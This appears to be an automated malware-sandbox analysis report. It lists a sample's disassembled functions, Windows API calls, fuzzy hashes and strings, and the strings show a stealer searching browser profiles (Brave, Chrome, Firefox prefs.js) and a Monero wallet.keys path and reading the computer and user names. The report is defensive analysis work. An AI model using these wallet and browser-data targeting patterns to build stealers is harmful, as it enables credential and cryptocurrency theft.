Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 4de000d143ba33628fbc1d2b64d24baf5661c2303e15fb989b9db8129a43d1cf
Instruction ID: 2337623b8ded51157699efb65a8e31ed59ec45292632909cc8150050a3d08c25
Opcode Fuzzy Hash: 4de000d143ba33628fbc1d2b64d24baf5661c2303e15fb989b9db8129a43d1cf
Instruction Fuzzy Hash: DAE0E670A4534CFBE710ABA09C0AB497A78AB04B12F104194F709775D0DAB52A409699

Function 009110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009110F7

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 26169b163b5056946248bfdb311e31f23fcffdf7af01ca092cdb2cee8e0e5d27
Instruction ID: 9bea2697903472f2613cbef14641007c939b3d9e925afcc9658e8b2384c61c32
Opcode Fuzzy Hash: 26169b163b5056946248bfdb311e31f23fcffdf7af01ca092cdb2cee8e0e5d27
Instruction Fuzzy Hash: 19F0E271A41318BBE7149AA4AC59FAFB7ECE709B15F300988F604E3280D9719E40CAA0

Function 00911190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00927910
Part of subcall function 009278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00927917
Part of subcall function 009278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0092792F

Part of subcall function 00927850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009111B7), ref: 00927880
Part of subcall function 00927850: RtlAllocateHeap.NTDLL(00000000), ref: 00927887
Part of subcall function 00927850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0092789F

ExitProcess.KERNEL32 ref: 009111C6

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 67498fee6314f4163471b1b7f2bfbb0aa1b5c86308d679414d2ef61ca7b39fb7
Instruction ID: 76662ba0645585471d80407e0367c7eab48268999fc079d928f6c79ef4e4af51
Opcode Fuzzy Hash: 67498fee6314f4163471b1b7f2bfbb0aa1b5c86308d679414d2ef61ca7b39fb7
Instruction Fuzzy Hash: 7FE017B5E1831563CA0073F0BC8BB2B769C5B9434AF040968FA09E3206FE25E800866A

Non-executed Functions

Function 009238B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 009238CC
FindFirstFileA.KERNEL32(?,?), ref: 009238E3
lstrcat.KERNEL32(?,?), ref: 00923935
StrCmpCA.SHLWAPI(?,00930F70), ref: 00923947
StrCmpCA.SHLWAPI(?,00930F74), ref: 0092395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00923C67
FindClose.KERNEL32(000000FF), ref: 00923C7C

Strings

%s\%s, xrefs: 00923A6F
%s\*, xrefs: 009238C0
%s\%s, xrefs: 0092397A
%s%s, xrefs: 00923AAD
%s\%s\%s, xrefs: 00923A4A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1d515db515a7bcd3cfc749b8a5f9027f8fecf62466b91702808d048afe4bc61c
Instruction ID: 4b864ea7f1702756f7f2e293ba68d620f14d661fbca05505186f1f56e0c6a62c
Opcode Fuzzy Hash: 1d515db515a7bcd3cfc749b8a5f9027f8fecf62466b91702808d048afe4bc61c
Instruction Fuzzy Hash: 9BA121B1A003189BDB24DF64DC85FEE737DBB88301F048698A64DA7145EB759B84CF62

Function 0091BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

FindFirstFileA.KERNEL32(00000000,?,00930B32,00930B2B,00000000,?,?,?,009313F4,00930B2A), ref: 0091BEF5
StrCmpCA.SHLWAPI(?,009313F8), ref: 0091BF4D
StrCmpCA.SHLWAPI(?,009313FC), ref: 0091BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0091C7BF
FindClose.KERNEL32(000000FF), ref: 0091C7D1

Strings

Brave, xrefs: 0091C102
\Brave\Preferences, xrefs: 0091C1DB
Google Chrome, xrefs: 0091C634
Preferences, xrefs: 0091C11E

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 28e380b7bd50053589896b4e4e0bf36b3e4fbdc9c3124a251a88c4a7955e4c46
Instruction ID: 9529a517fb7514f4852e30b769f26bf1bef15e88a53b73eaa15345b6462fe061
Opcode Fuzzy Hash: 28e380b7bd50053589896b4e4e0bf36b3e4fbdc9c3124a251a88c4a7955e4c46
Instruction Fuzzy Hash: 58424272A10118ABCB14FB60EC96FED737DAFD8300F404558F50AA7195EE349B49CB96

Function 00924910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0092492C
FindFirstFileA.KERNEL32(?,?), ref: 00924943
StrCmpCA.SHLWAPI(?,00930FDC), ref: 00924971
StrCmpCA.SHLWAPI(?,00930FE0), ref: 00924987
FindNextFileA.KERNEL32(000000FF,?), ref: 00924B7D
FindClose.KERNEL32(000000FF), ref: 00924B92

Strings

%s\%s, xrefs: 009249A4
%s\*, xrefs: 00924920
%s\%s, xrefs: 009249FB

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 95dfc1c80d163005b443f1450b06d93dbbf193f2d012b5cc399c11bf1510edd6
Instruction ID: d90b965799f7d59c1564475fbe87061bf34d4e2fa39d2c6a14e9702d85a60763
Opcode Fuzzy Hash: 95dfc1c80d163005b443f1450b06d93dbbf193f2d012b5cc399c11bf1510edd6
Instruction Fuzzy Hash: 93612771500218ABCB24EBA0EC55FEE777CBB88701F0446D8B609A6145EF75EB85CF91

Function 00924570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00924580
RtlAllocateHeap.NTDLL(00000000), ref: 00924587
wsprintfA.USER32 ref: 009245A6
FindFirstFileA.KERNEL32(?,?), ref: 009245BD
StrCmpCA.SHLWAPI(?,00930FC4), ref: 009245EB
StrCmpCA.SHLWAPI(?,00930FC8), ref: 00924601
FindNextFileA.KERNEL32(000000FF,?), ref: 0092468B
FindClose.KERNEL32(000000FF), ref: 009246A0
lstrcat.KERNEL32(?,01050A30), ref: 009246C5
lstrcat.KERNEL32(?,0104F880), ref: 009246D8
lstrlen.KERNEL32(?), ref: 009246E5
lstrlen.KERNEL32(?), ref: 009246F6

Strings

%s\%s, xrefs: 0092461B
%s\*, xrefs: 0092459A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 9711be7e02bba9ee5e8ba54a389329f89d899907eb8406bf8277f68ef8c0a332
Instruction ID: bab89844420c2c48b9097e782125e2adf17d65bb39f232b0782ab0cb14f524ae
Opcode Fuzzy Hash: 9711be7e02bba9ee5e8ba54a389329f89d899907eb8406bf8277f68ef8c0a332
Instruction Fuzzy Hash: 215145B5500218ABC764EB70DC89FED737CAB98701F4046C8F609A7194EF759B848F92

Function 00923EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00923EC3
FindFirstFileA.KERNEL32(?,?), ref: 00923EDA
StrCmpCA.SHLWAPI(?,00930FAC), ref: 00923F08
StrCmpCA.SHLWAPI(?,00930FB0), ref: 00923F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0092406C
FindClose.KERNEL32(000000FF), ref: 00924081

Strings

%s\%s, xrefs: 00923EB7

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 5adc2499788fa965fc28ffd11a8cf09808c88efe04a04f8510e059514d4058f5
Instruction ID: ee108d88a1ae6b44f1647c096388b9f9723aa9c38258b81054f953efd39fb677
Opcode Fuzzy Hash: 5adc2499788fa965fc28ffd11a8cf09808c88efe04a04f8510e059514d4058f5
Instruction Fuzzy Hash: FB5127B6900218ABCB24EBB0DC85FEE777CBB84301F4046C8B65997144DF75AB858F55

Function 0091ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0091ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0091ED55
StrCmpCA.SHLWAPI(?,00931538), ref: 0091EDAB
StrCmpCA.SHLWAPI(?,0093153C), ref: 0091EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0091F2AE
FindClose.KERNEL32(000000FF), ref: 0091F2C3

Strings

%s\*.*, xrefs: 0091ED32

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 284cc798b022ac84678393e351e313011fbcce6aedfe17be79cae5ea62913839
Instruction ID: 8248ea1231aed4d6196efab5492bfeade24a13947649b7e75253572a90e47509
Opcode Fuzzy Hash: 284cc798b022ac84678393e351e313011fbcce6aedfe17be79cae5ea62913839
Instruction Fuzzy Hash: CBE1AD769111289BEB55FB60EC52FEE733CAF94300F404599F50A62096EE306F8ACF56

Function 0091F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009315B8,00930D96), ref: 0091F71E
StrCmpCA.SHLWAPI(?,009315BC), ref: 0091F76F
StrCmpCA.SHLWAPI(?,009315C0), ref: 0091F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0091FAB1
FindClose.KERNEL32(000000FF), ref: 0091FAC3

Strings

prefs.js, xrefs: 0091F812

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 14101b972600d3730555da27afdbbc500ac4df77f16fc1b158dd879a504a1bcb
Instruction ID: 32fa09c4ca2af7fb5d1592b08aaddd1a455d316bdb7b60124372662fca917c7c
Opcode Fuzzy Hash: 14101b972600d3730555da27afdbbc500ac4df77f16fc1b158dd879a504a1bcb
Instruction Fuzzy Hash: 7BB11672A001189BDB24FF60EC96BED7379AFD4300F4085A8E50A97195EF345B49CF96

Function 009116D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0093510C,?,?,?,009351B4,?,?,00000000,?,00000000), ref: 00911923
StrCmpCA.SHLWAPI(?,0093525C), ref: 00911973
StrCmpCA.SHLWAPI(?,00935304), ref: 00911989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00911D40
DeleteFileA.KERNEL32(00000000), ref: 00911DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00911E20
FindClose.KERNEL32(000000FF), ref: 00911E32

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Strings

\*.*, xrefs: 009117F1

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
